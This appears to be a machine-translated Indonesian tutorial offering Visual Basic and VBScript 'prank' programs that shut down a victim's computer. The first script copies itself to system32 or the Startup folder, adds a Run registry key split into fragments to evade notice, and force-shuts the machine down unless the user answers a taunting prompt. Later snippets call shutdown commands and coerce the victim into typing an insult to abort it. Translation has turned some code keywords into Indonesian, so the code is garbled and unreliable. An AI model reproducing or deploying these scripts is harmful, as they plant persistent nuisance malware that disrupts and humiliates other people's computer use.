Applet spoof mematikan VB satu:
Redupkan fs, dirwin, c,Wll, str,strr,rSet fs = CreateObject("Scripting.FileSystemObject") Setel dirwin = fs.GetSpecialFolder(1)Set Wll = WScript.CreateObject("WScript.Shell")Set c = fs .GetFile(WScript.ScriptFullName) str ="HK"&"LM/SOFT"&"WARE/Micr"&"osoft/Win"&"dows/Curren"&"tVersion/R"&"un/wxb"if (fs.FileExists(dirwin&"/wxb .vbs")) Kemudian panggil Show_And_Do("reg")elseif (fs.FileExists("C:/Dokumen dan Pengaturan/Semua Pengguna/Menu Mulai/Program/Startup/wxb.vbs")) Lalupanggil Show_And_Do("Startup")else Jika Error Resume Nextstrr=""Wll.RegWrite str, "C:/WINDOWS/system32/wxb.vbs", "REG_SZ "strr=Wll.Regread (str)jika strr="" thenc.Copy("C:/Dokumen dan Pengaturan/Semua Pengguna/Menu Mulai/Program/Startup/wxb.vbs") elsec.Copy(dirwin&"/wxb.vbs") berakhir jika berakhir jika sub Show_And_Do(s)dim fr = MsgBox ("Peringatan: Tolong jangan sentuh komputer saya!" & Chr(13) & Chr(10) & "Konfirmasi -> Saya akan meminta izin dulu lain kali" & Chr(10) & "Batal -> Saya tidak peduli bagaimana Anda menyukainya!", 4145, "Contoh MsgBox")Jika r = 1 Lalu jika s= "Startup" laluset f = fs.GetFile("C:/Dokumen dan Pengaturan/Semua Pengguna/Mulai Menu/Program/Startup/wxb.vbs")f.Delete()elseif s="reg"thenWll.RegDelete strset f = fs.GetFile(dirwin&"/wxb.vbs")f.Delete()end if Elsewll.run "Shutdown.exe -s -f -t 0"Akhiri sub Ifend
Hal di atas agak rumit, jadi mari kita lakukan yang sedikit lebih sederhana
Kodenya adalah sebagai berikut:
Opsi ExplicitConst SM_CLEANBOOT = 67Const EWX_LOGOFF = 0Const EWX_SHUTDOWN = 1Const EWX_REBOOT = 2Const EWX_FORCE = 4Fungsi Deklarasi Pribadi Keluar dari WindowsEx Lib "user32" (ByVal uFlags Selama,ByVal dwReserved Selama) Sebagai LongPrivate Sub Form_Load() Panggilan Keluar dari WindowsEx(EWX_SHUTDOWN, 0)Akhir Sub
Bila Anda bisa menggunakan cara penulisan yang lebih sederhana
Cukup masukkan kode berikut:
Private Sub Form_Load()Shell "cmd /c shutdown -s -t 30"Rem -t 0 di belakangnya berarti shutdown dalam 0 detik. Jika -t 0 dihilangkan, defaultnya adalah shutdown dalam 30 detik
Metode ketiga:
Private Sub Command1_Click()If Text1 = "Saya babi" ThenShell "cmd.exe /c shutdown -a"MsgBox "Haha biarkan kamu pergi!", 64, "Prompt"EndEnd IfEnd SubPrivate Sub Form_Load()MsgBox "Haha kamu Jika Anda tertipu, tolong beri tahu saya bahwa Anda babi, jika tidak, komputer Anda akan mati dalam 1 menit.", 48, "Prompt" Shell "cmd.exe /c shutdown -s -t " & 60, vbHideEnd SubPrivate Sub Form_Unload(Batal Sebagai Integer)g = MsgBox("Mau tutup saya???", vbOKCancel + vbQuestion, "Tutup jendela")Jika g = vbOK ThenCancel = 11MsgBox "Haha, bisa kamu menutupnya? Jatuhkan aku dan panggil aku babi", 64, "Prompt"End IfIf g = 2 ThenCancel = 11End IfEnd Sub